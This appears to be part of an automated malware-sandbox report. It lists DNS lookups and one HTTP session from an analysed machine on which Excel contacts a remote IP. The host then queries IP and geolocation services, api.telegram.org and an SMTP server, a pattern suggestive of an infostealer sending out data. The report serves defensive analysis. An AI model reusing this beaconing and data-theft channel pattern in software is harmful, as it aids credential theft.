Aug 13, 2024 20:25:18.390116930 CEST	8.8.8.8	192.168.2.22	0x935	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.390116930 CEST	8.8.8.8	192.168.2.22	0x935	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.390116930 CEST	8.8.8.8	192.168.2.22	0x935	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.390116930 CEST	8.8.8.8	192.168.2.22	0x935	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.222822905 CEST	8.8.8.8	192.168.2.22	0xd529	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.222822905 CEST	8.8.8.8	192.168.2.22	0xd529	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.964683056 CEST	8.8.8.8	192.168.2.22	0xe96	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:19.964683056 CEST	8.8.8.8	192.168.2.22	0xe96	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.964683056 CEST	8.8.8.8	192.168.2.22	0xe96	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.964683056 CEST	8.8.8.8	192.168.2.22	0xe96	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.964683056 CEST	8.8.8.8	192.168.2.22	0xe96	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.964683056 CEST	8.8.8.8	192.168.2.22	0xe96	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.976974010 CEST	8.8.8.8	192.168.2.22	0x29c3	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:19.976974010 CEST	8.8.8.8	192.168.2.22	0x29c3	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.976974010 CEST	8.8.8.8	192.168.2.22	0x29c3	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.976974010 CEST	8.8.8.8	192.168.2.22	0x29c3	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.976974010 CEST	8.8.8.8	192.168.2.22	0x29c3	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:19.976974010 CEST	8.8.8.8	192.168.2.22	0x29c3	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:20.684335947 CEST	8.8.8.8	192.168.2.22	0x4138	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:20.684335947 CEST	8.8.8.8	192.168.2.22	0x4138	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.339663982 CEST	8.8.8.8	192.168.2.22	0x4e22	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:21.339663982 CEST	8.8.8.8	192.168.2.22	0x4e22	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.339663982 CEST	8.8.8.8	192.168.2.22	0x4e22	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.339663982 CEST	8.8.8.8	192.168.2.22	0x4e22	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.339663982 CEST	8.8.8.8	192.168.2.22	0x4e22	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.339663982 CEST	8.8.8.8	192.168.2.22	0x4e22	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.349638939 CEST	8.8.8.8	192.168.2.22	0x2d0e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:21.349638939 CEST	8.8.8.8	192.168.2.22	0x2d0e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.349638939 CEST	8.8.8.8	192.168.2.22	0x2d0e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.349638939 CEST	8.8.8.8	192.168.2.22	0x2d0e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.349638939 CEST	8.8.8.8	192.168.2.22	0x2d0e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:21.349638939 CEST	8.8.8.8	192.168.2.22	0x2d0e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.776124954 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:25.776124954 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.776124954 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.776124954 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.776124954 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.776124954 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.783272982 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:25.783272982 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.783272982 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.783272982 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.783272982 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.783272982 CEST	8.8.8.8	192.168.2.22	0xe327	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.798034906 CEST	8.8.8.8	192.168.2.22	0x9028	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:25.798034906 CEST	8.8.8.8	192.168.2.22	0x9028	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.798034906 CEST	8.8.8.8	192.168.2.22	0x9028	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.798034906 CEST	8.8.8.8	192.168.2.22	0x9028	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.798034906 CEST	8.8.8.8	192.168.2.22	0x9028	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:25.798034906 CEST	8.8.8.8	192.168.2.22	0x9028	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.266258955 CEST	8.8.8.8	192.168.2.22	0x8b59	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.266258955 CEST	8.8.8.8	192.168.2.22	0x8b59	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.917874098 CEST	8.8.8.8	192.168.2.22	0xdb14	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:26.917874098 CEST	8.8.8.8	192.168.2.22	0xdb14	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.917874098 CEST	8.8.8.8	192.168.2.22	0xdb14	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.917874098 CEST	8.8.8.8	192.168.2.22	0xdb14	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.917874098 CEST	8.8.8.8	192.168.2.22	0xdb14	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.917874098 CEST	8.8.8.8	192.168.2.22	0xdb14	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.927016973 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:26.927016973 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.927016973 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.927016973 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.927016973 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.927016973 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.937124014 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:26.937124014 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.937124014 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.937124014 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.937124014 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:26.937124014 CEST	8.8.8.8	192.168.2.22	0x40c5	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:30.800631046 CEST	8.8.8.8	192.168.2.22	0x6010	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:30.800631046 CEST	8.8.8.8	192.168.2.22	0x6010	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:31.908525944 CEST	8.8.8.8	192.168.2.22	0x9ed0	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:31.908525944 CEST	8.8.8.8	192.168.2.22	0x9ed0	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.526880026 CEST	8.8.8.8	192.168.2.22	0xb987	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.639823914 CEST	8.8.8.8	192.168.2.22	0x7ab0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:32.639823914 CEST	8.8.8.8	192.168.2.22	0x7ab0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.639823914 CEST	8.8.8.8	192.168.2.22	0x7ab0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.639823914 CEST	8.8.8.8	192.168.2.22	0x7ab0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.639823914 CEST	8.8.8.8	192.168.2.22	0x7ab0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.639823914 CEST	8.8.8.8	192.168.2.22	0x7ab0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.650755882 CEST	8.8.8.8	192.168.2.22	0xc204	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:32.650755882 CEST	8.8.8.8	192.168.2.22	0xc204	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.650755882 CEST	8.8.8.8	192.168.2.22	0xc204	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.650755882 CEST	8.8.8.8	192.168.2.22	0xc204	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.650755882 CEST	8.8.8.8	192.168.2.22	0xc204	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:32.650755882 CEST	8.8.8.8	192.168.2.22	0xc204	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:36.781001091 CEST	8.8.8.8	192.168.2.22	0xb2e7	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:36.781001091 CEST	8.8.8.8	192.168.2.22	0xb2e7	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:38.243093014 CEST	8.8.8.8	192.168.2.22	0x7e58	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:48.129477024 CEST	8.8.8.8	192.168.2.22	0x3aa7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:48.129477024 CEST	8.8.8.8	192.168.2.22	0x3aa7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:48.129477024 CEST	8.8.8.8	192.168.2.22	0x3aa7	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:48.129477024 CEST	8.8.8.8	192.168.2.22	0x3aa7	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:48.300065041 CEST	8.8.8.8	192.168.2.22	0x63d1	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.237417936 CEST	8.8.8.8	192.168.2.22	0x768d	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.237417936 CEST	8.8.8.8	192.168.2.22	0x768d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.237417936 CEST	8.8.8.8	192.168.2.22	0x768d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.237417936 CEST	8.8.8.8	192.168.2.22	0x768d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.596009970 CEST	8.8.8.8	192.168.2.22	0x4073	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:50.602818966 CEST	8.8.8.8	192.168.2.22	0x4073	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.208214045 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.208214045 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.208214045 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.208214045 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.221457005 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.221457005 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.221457005 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:52.221457005 CEST	8.8.8.8	192.168.2.22	0x4f4e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:53.453214884 CEST	8.8.8.8	192.168.2.22	0xe50	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:53.453214884 CEST	8.8.8.8	192.168.2.22	0xe50	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:53.453214884 CEST	8.8.8.8	192.168.2.22	0xe50	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:53.453214884 CEST	8.8.8.8	192.168.2.22	0xe50	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:53.546375036 CEST	8.8.8.8	192.168.2.22	0xbfab	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:54.455672026 CEST	8.8.8.8	192.168.2.22	0x283e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:54.509519100 CEST	8.8.8.8	192.168.2.22	0xeb07	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:54.509519100 CEST	8.8.8.8	192.168.2.22	0xeb07	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:54.509519100 CEST	8.8.8.8	192.168.2.22	0xeb07	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:54.509519100 CEST	8.8.8.8	192.168.2.22	0xeb07	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.979156017 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.979156017 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.979156017 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.979156017 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.990202904 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.990202904 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.990202904 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.990202904 CEST	8.8.8.8	192.168.2.22	0xae3e	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:55.990869045 CEST	8.8.8.8	192.168.2.22	0x8c1c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.164316893 CEST	8.8.8.8	192.168.2.22	0xc200	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.164316893 CEST	8.8.8.8	192.168.2.22	0xc200	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.164316893 CEST	8.8.8.8	192.168.2.22	0xc200	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.164316893 CEST	8.8.8.8	192.168.2.22	0xc200	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.252751112 CEST	8.8.8.8	192.168.2.22	0x400	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:57.999084949 CEST	8.8.8.8	192.168.2.22	0x283e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:58.568182945 CEST	8.8.8.8	192.168.2.22	0xc07b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:58.568182945 CEST	8.8.8.8	192.168.2.22	0xc07b	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:58.568182945 CEST	8.8.8.8	192.168.2.22	0xc07b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:58.568182945 CEST	8.8.8.8	192.168.2.22	0xc07b	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:59.193537951 CEST	8.8.8.8	192.168.2.22	0x829c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:01.142604113 CEST	8.8.8.8	192.168.2.22	0xd63b	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:01.149301052 CEST	8.8.8.8	192.168.2.22	0xd63b	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.399425030 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.399425030 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.399425030 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.399425030 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.406886101 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.406886101 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.406886101 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.406886101 CEST	8.8.8.8	192.168.2.22	0x4286	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.584681988 CEST	8.8.8.8	192.168.2.22	0xfe88	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:02.591463089 CEST	8.8.8.8	192.168.2.22	0xfe88	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.602960110 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.602960110 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.602960110 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.602960110 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.615492105 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.615492105 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.615492105 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:04.615492105 CEST	8.8.8.8	192.168.2.22	0x3bd0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:06.478807926 CEST	8.8.8.8	192.168.2.22	0xb1f3	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:07.595563889 CEST	8.8.8.8	192.168.2.22	0xc6e8	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:26:07.606969118 CEST	8.8.8.8	192.168.2.22	0xc6e8	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

exi.link

reallyfreegeoip.org

api.telegram.org

192.3.176.138

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	192.3.176.138	80	1208	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
